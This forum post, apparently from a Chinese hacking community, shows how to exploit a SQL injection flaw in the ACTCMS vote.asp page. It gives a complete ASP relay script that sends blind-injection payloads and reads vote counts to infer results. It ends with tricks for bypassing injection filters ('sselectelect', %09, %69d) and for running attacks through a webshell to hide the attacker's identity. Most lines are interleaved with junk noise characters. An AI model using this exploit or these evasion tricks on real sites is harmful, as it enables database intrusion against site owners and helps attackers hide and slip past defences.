& E2 j. F* V6 `; C/ g& e! j
看到ninty大牛的blog的一篇文章- I. D2 W( p' ?; z& m
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
+ {& [/ x# G( W, s9 a& G关于actcms漏洞的利用 by 3x qq:381862589
, O& t0 N, X2 D0 Q# t8 [3 `4 v$ s转载请注明以上
/ ~+ n& j% Y5 M4 M7 @漏洞文件:
! V' S& _# V8 K O. Z/plus/vote/vote.asp
) o H& f8 r+ u" D8 Q代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then 0 v. g8 N7 G: S0 \
7 Y6 T" {/ ?6 y. B; h, A: W- d2 response.write "<script>alert('请选择投票项目。');window.close()</script>" . d$ K5 a& K/ B! [1 W- ]. w% l
2 L+ v& y: I- f% Q0 I
3 response.end . [/ H+ W% O% ^! A$ R U
1 I% w- M: o/ a( |4 end if
% o4 N# O5 l$ C6 `; x) g- n5 U4 q1 n/ K: o
5 for i=1 to request("voted").count
0 U1 {" y/ o1 O1 j; k3 a( O: r/ Z: @! X. i8 V
6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i)) + e; Q. ~9 m, o) E; e2 a N/ Y
7 ^4 v" O8 F9 r g7 u: y: z2 I7 next * f3 h: _2 K/ M5 g. B
+ t+ b& ?( ?! G8....
" B7 Y2 L0 n1 P) V0 Y; h
3 t }1 r0 r! }5 ~9 [9 q+ ]9response.Redirect "index.asp?id="&id&"" ! I# d5 @2 `: e1 m+ C, ^9 V9 N
投票结束回跳转回index.asp这个投票结果页面- z- t* A% ]7 V9 ? y, j7 b- _1 P
如果投票成功票数加1
" T, J; H* h+ J* K 失败票数不变
# C8 I8 K+ Z; X% ?" D; F) R如图:8 C4 H F8 } j; G
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
9 W }, j) Q! y% W: R) g6 }. k7 d" Y) E$ n9 _% X1 N K! r2 Z
2009-12-27 13:20
8 U$ l0 r% n y& T' D# F: m# B, d
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了% N( n3 E8 Z5 i! h$ M
1 k& n/ U5 o, q" W6 z3 l4 v, I本帖隐藏的内容需要回复才可以浏览4 W- c4 w- i) T8 I
我们用注入中转来实现这个注入具体代码如下:5 ~0 `3 a+ y# X D
先用寂寞的刺猬大牛的注入中转生成jmget.asp
* H1 p) `+ u( q0 q, b注入地址:http://localhost/actcms/plus/vote/vote.asp6 M2 j4 s- G% w2 m
注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项" b+ R/ R4 R7 P7 H) P( J& f2 ]
8 q- `7 \' o) }7 l# ^) s, y
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% / F3 Y! g9 ~- ~( O( U
! j( E8 T, c f/ \
02JmdcwName=request("jmdcw")
0 t/ D( F- r1 @# [. _1 \ I+ {5 T# d, M) E$ K0 I
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
( \6 P! n" E$ t+ j* ^: X0 G3 `( |6 O5 w) [
04JmStr="id=1&voted=-1 or 1="&JmdcwName 1 s) _9 M! g4 ?2 N3 ~- I
* N% d( M% B& C
05JmStr=URLEncoding(JmStr) 6 G" I0 d. f* n
: {8 U) o: l8 _: N' z' P, t
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"5 Z4 s6 y7 K! Z! P! z
0 I' ^" }. M" L D$ b2 G& m# V07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
7 |; e6 _4 O; h, u1 c, C; M& d* `/ Q6 ^' W0 `4 p
08testurl=testurl & "?" & JmStr & f" t7 D+ J) c3 i% o) G$ a
0 ]) y) `) L: l0 \) W; Z
09JMUrl=JMUrl & "?" & JmStr
" p5 m; g) ` D8 `6 j4 D0 q* F8 j" F; _
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
2 C v6 e( I, q" p. L) k7 @
+ ^) O! L3 o7 ^11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
. b: S, P8 L/ t" h9 G4 F5 g" [5 y0 j( X4 {; M* `
12JmCok=replace(JmCok,chr(32),"%20")
% K: B& J1 }" y2 S2 N* S
/ a' K% ?' [" L, X4 B0 g: E13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 , s( y3 F, s N
) o. v' \; @9 \8 D0 {' g3 l
14 7 g$ x, p: G! Y0 u# Q4 L
5 H1 x, ]- b2 v15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 6 j2 g7 J- P" ~! B& u
. d' h( I- z5 G" c3 E
16
; p: z4 d5 o$ `& N
+ x9 k# G& N2 }7 R: J. }) r: d17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 4 _2 G# q& N K4 X! s3 ^8 ]
" B- U. }5 Y- W* r) E. B8 J4 Z* o
18response.write test1&""&test2&""
7 n3 Q9 Y0 h k, f. ]+ e6 {0 d. R
19 ; M& d" j- O: ^, J7 u
3 C3 H5 ~ L: f' p, f$ ~
20if test1=test2 then '如前后记录相等,表示失败 % o2 w! s: x- r& M, A+ ~3 }
& y& \0 Q ^$ @5 G- n( u8 y21 response.write "failed"
. t' a" Z* J& ^
, K2 r5 v" P' F& O" g) S/ {: ]$ C22else + w' g* u' |( e1 F3 e( J% d; W
8 [+ l% J- g- ?" W+ c5 A- J6 V
23 response.write "succeed"6 `! |& p! B$ g0 f7 m% T1 Y
; W* t) L% l; u* ]8 b24end if ' f( g) Z* y0 x$ e
, ]. A8 d" q' l f# u25 $ t4 ?$ r/ d' k# V( {, h
7 l9 ^$ w# P* M& n5 v' k
26response.write "by 3x"! N! K1 o0 A7 S$ Z- i
4 L) O. W C) }8 M7 w
27 ) d1 \ i/ u$ `
+ E; o1 `& m5 G: ?0 j! n! R28
& B' X. }1 X. R& `/ r8 _- @9 L" f( N# X3 y5 ^1 R
29Function PostData(PostUrl,PostStr,PostCok,PostRef)
/ {/ ?. f1 G8 T! {! S- |4 W- ?) x
, P! m$ x) I, e1 i30Dim Http
7 |2 G# u1 R" w' x, Y! s5 |4 d& y4 e
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") 0 Z$ ~' x% |( m% r
: W# \. q9 W. G32With Http
7 O1 W5 Z1 x: ?2 U8 _% C7 H" k5 r8 i
33 " o- G$ V3 i/ ]! W
: u. @% S3 }, L( B
34.Open "GET",PostUrl,False
, f3 l9 M0 @. v
8 ~0 E2 s0 n- ^' e2 q35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"1 X2 v% K! |6 @% j
+ V3 n t2 r# w! c
36.SetRequestHeader "Referer",PostRef 7 x1 U: Y7 p/ Y+ E7 i8 v# T
6 l$ X) y$ o4 a! n# o( ?1 U$ J* Z37.SetRequestHeader "Cookie",PostCok 5 s) R# ^5 Y1 G& i) ^ s3 H2 S
) `" \* m3 I7 Y; u38.Send ()
; v/ w/ W2 D6 X; x. q, f# `# P+ N' C7 @" [7 v
39PostData = .ResponseBody
+ S: L _5 _' E+ V6 X* ` |/ P2 ?3 ~$ d4 q: c3 G
40End With( ~5 v* ~5 f. n: ^# _2 g
) d0 _8 E7 o1 d8 z41Set Http = Nothing4 R5 x. o5 |! D
8 b6 [6 L( J, N3 Y( u5 n42PostData =bytes2BSTR(PostData)
9 b$ s. [7 ?- ^9 E6 `* `) v9 l ]
43End Function/ a5 X+ i( u9 I
- V9 Y. C' G5 c4 O: K8 m
44
% E$ R( i j* `' p$ S( P! m9 p) ~ _/ ~& h+ f4 }
45 " _; Y- L8 t" q; t" i1 j
. @) U) D* s3 e9 c7 U7 W; u0 ~, N+ L46Function bytes2BSTR(vIn) 2 ~: _# d% G& w7 a, O
% S% i$ E9 P( e
47Dim strReturn 2 X7 S& H/ {/ k8 g5 T2 n I& o
1 ?" p, \9 n: K0 A' q5 x# A8 R48Dim I, ThisCharCode, NextCharCode
/ c8 ^- o4 Y/ l' S3 Q t7 ~7 K" D! i% `. y8 Q
49strReturn = ""
9 J! E& ]7 x9 f0 x" q G+ Z6 p7 `& \) A! p/ a. ?
50For I = 1 To LenB(vIn)
1 b( x* ^( u P' q; q
) G i8 e2 L' L1 z& |51ThisCharCode = AscB(MidB(vIn, I, 1))
+ W" K6 n+ Z3 k" u- ], S# P/ M2 G, o" e) n: I6 a8 Q% ?( ^
52If ThisCharCode < &H80 Then
+ e/ p5 u6 k) z+ G0 Y
; V# N, b `3 s; z' G53strReturn = strReturn & Chr(ThisCharCode)
! A! i% i8 ]% ]. B( b. g2 \% l# J" N# L* s- P
54Else
' R/ k, G, g8 d* S, i$ k# Q D% B/ P% z! i/ g: P3 i o
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
$ L6 H. \& @4 x& J) m4 }; S2 u3 _6 }; S; e$ }+ r. \( H
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) ) j+ \; v& {# k
4 \+ u. o5 }; J8 e2 U
57I = I + 1
: V1 E1 g9 [2 H( g( I5 C
/ T" K2 @5 @) z' F58End If$ @" s3 P$ G4 E
; ?# c6 [7 B* t; h
59Next
; Z; x3 i# m! G, {# B3 @" }) W7 R7 K5 S6 O8 Z6 o
60bytes2BSTR = strReturn
1 x$ J4 R. l# g; P& ~' S
" m) u# h4 |4 F- X' I' k61End Function6 d$ I4 C2 r; n& f) d
8 ]/ K0 k: `% X7 X. Q62
7 K( k2 u4 F# B* h0 ~# d& Y4 C# e7 R- ]5 O1 x
63Function URLEncoding(vstrin)
% o3 Q) s- b/ y; m; A8 X7 z V
* S* k$ {; C/ ]; t* a4 L0 r64strReturn=""
+ a+ @9 b4 ~! Y6 R
, c9 H- y# Q$ u6 r" [& ~! O& ]65Dim i
0 V9 k9 g2 j9 n) N3 k& O
7 L% N9 z B7 J3 D4 a66For i=1 To Len(vstrin)
& N( [" X x- _$ `2 Z9 e# H x8 ^$ B2 e; |7 O
67ThisChr=Mid(vstrin,i,1) $ S8 a/ A1 l, i4 m5 y
) o1 F" V5 a( G9 ]" U5 T" Y7 Q! `68if Abs(Asc(ThisChr))< &HFF Then
8 X$ H5 @" V9 V! o* |9 {5 Z: V/ A
. h0 u! d% V6 D9 z69strReturn=strReturn & ThisChr
- @. ]: Z) _7 r" }( n3 N$ z2 z9 u: c7 b
70Else: z. X8 Z) P* I T% i
/ C$ w% p/ m: g" d& `6 W71InnerCode=Asc(ThisChr)
6 ?; h4 x9 h* K" W3 ]# o* `- ]' }. t( M1 C' M0 Y6 g
72If InnerCode<0 Then
$ v+ f8 Y" F$ U3 F
* W5 I5 L* c* F73InnerCode=InnerCode + &H10000
$ q- F3 L& i- u
* k& P% b' k6 }. q" v, |74End If, U5 m4 f# k" A% e$ K+ D
) o n: u" ^, B! d3 M( r75Hight1=(InnerCode And &HFF00) \&HFF . m5 u( b( P+ O: w# C
. A* P r* n! _! h
76Low1=InnerCode And &HFF
6 {9 ^# ]# |; n& ^) x, m
; o, z, Z8 U0 e6 X77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
5 @7 q# Y( k: h8 [. J3 p
8 _- c' _6 H7 H78End if 0 e# E7 G G6 {% K/ l1 R
m& ^) ]- O# X! R: h79Next5 C$ e7 C j1 E8 B0 j7 R3 y
2 H/ {, e( P, W* ~
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
6 E7 Z/ A5 V2 A% m6 I: A
5 L/ t+ o/ Z$ }; u; @0 i, i81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
, [+ g" J, ^' i& m" w6 \0 J
' n. ]3 I/ E; d# ? [; z82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码 9 ~1 {8 l5 H, K& u2 b5 X C
2 h( [3 Y/ u$ Z; H0 D6 U
83URLEncoding=strReturn * x3 }5 o' `' r7 Q! v( K- q- @
: l' a! M; w, |. E
84End Function: C9 P: s# ?/ v
9 I4 ~7 c- s$ F, z& H; l) }( ~
85 , B; P; C6 c2 u
: r0 X% X. U$ N1 B# Z- `/ n+ a
86function getSt(body) 0 a, E; ?6 j/ p! \: x$ r
$ c9 d2 K: r2 B- ^$ B- Z/ J+ ]4 ]87 startpot=instr(body,"投票人数:")+len("投票人数:") ' U/ Q) S6 f$ M' m& w {2 l/ p
! r4 V ]7 [: J: g$ R1 f8 b
88 endpot=instr(startpot,body," ")
- X' c+ a/ |; u" l& k
' O$ N; S0 J, k6 m2 F89 getSt=mid(body,startpot,endpot-startpot)
* Q* \$ q+ |' d$ Q0 a! ]
9 i; w: V& t$ Q: F' `* i$ T9 {90end function
. U! O+ N$ y& U2 P0 T- u; V1 I! B" w- @' w B) ]2 [/ x9 i
91%>
" a6 v) j) h$ s3 \, B注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了+ {# b( ]1 c& k0 }
测试下效果:
) H$ {9 `, T* z投票成功:$ m' y( u, x. N- k. x0 l' E
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)) W, Y! s; ~+ ?: ?9 b
# K. R$ |0 {7 e) r: W5 v) |
2009-12-27 13:29' I: r7 j2 v6 E4 m) S2 \# ^8 Q' L
投票失败
. u, W0 m0 U+ P7 ~3 a% ^7 L5 qhttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)2 I. h0 i- E' F
5 [ ^6 Q" c1 A% }5 h2009-12-27 13:298 A- J$ @7 m/ w! C8 X$ S t
-------------------------------------------------------------------------------. C' q7 g5 h1 t) R/ [# |
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以5 Z6 y: O7 }& c1 I! U
很抱歉。。。只能用单线程工具去注入。。。。。
1 h7 m" `0 i& w% |所以失败。。。不好意思。。。: O( E$ @, \: r
-------------------------------------------------------------------------------
; ]: v% a; F3 j5 ~; {( q p9 @6 Z5 Y! o; R8 D! P. F3 S
注入中转的一些其他应用8 N S; Y& e. |7 b
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
! p4 e J$ k8 a" t- s7 p2 \5 G# h& Z O1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
, E! _5 Q: O5 t4 H' U( J2.post注入转成get型的注入,方便我们使用工具来跑! ]/ u# D# l! o5 ~/ A
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")# K7 j5 y" V2 ^* W
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
& [; j. ]: ?- }7 T! G1 o; R, X0 }: x" l' x
|